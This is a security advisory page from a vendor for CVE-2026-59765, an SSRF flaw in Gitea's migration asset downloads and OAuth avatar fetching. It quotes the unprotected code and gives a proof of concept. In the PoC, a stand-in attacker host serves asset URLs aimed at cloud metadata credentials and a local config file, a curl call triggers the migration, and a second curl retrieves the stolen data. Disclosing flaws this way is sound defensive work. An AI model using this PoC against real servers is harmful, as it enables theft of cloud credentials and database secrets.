CVE-2026-59765

CVE-2026-59765 is a medium-severity server-side request forgery (SSRF) vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher, Reads Internal Files and Cloud Metadata

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path:

  • services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
  • services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Affected versions

code.gitea.io/gitea (< 1.27.0)

Security releases

code.gitea.io/gitea → 1.27.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade code.gitea.io/gitea to 1.27.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59765? CVE-2026-59765 is a medium-severity server-side request forgery (SSRF) vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. Which versions of code.gitea.io/gitea are affected by CVE-2026-59765? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
  3. Is there a fix for CVE-2026-59765? Yes. CVE-2026-59765 is fixed in 1.27.0. Upgrade to this version or later.
  4. Is CVE-2026-59765 exploitable, and should I be worried? Whether CVE-2026-59765 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-59765 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-59765? Upgrade code.gitea.io/gitea to 1.27.0 or later.

Other vulnerabilities in code.gitea.io/gitea

Stop the waste.
Protect your environment with Kodem.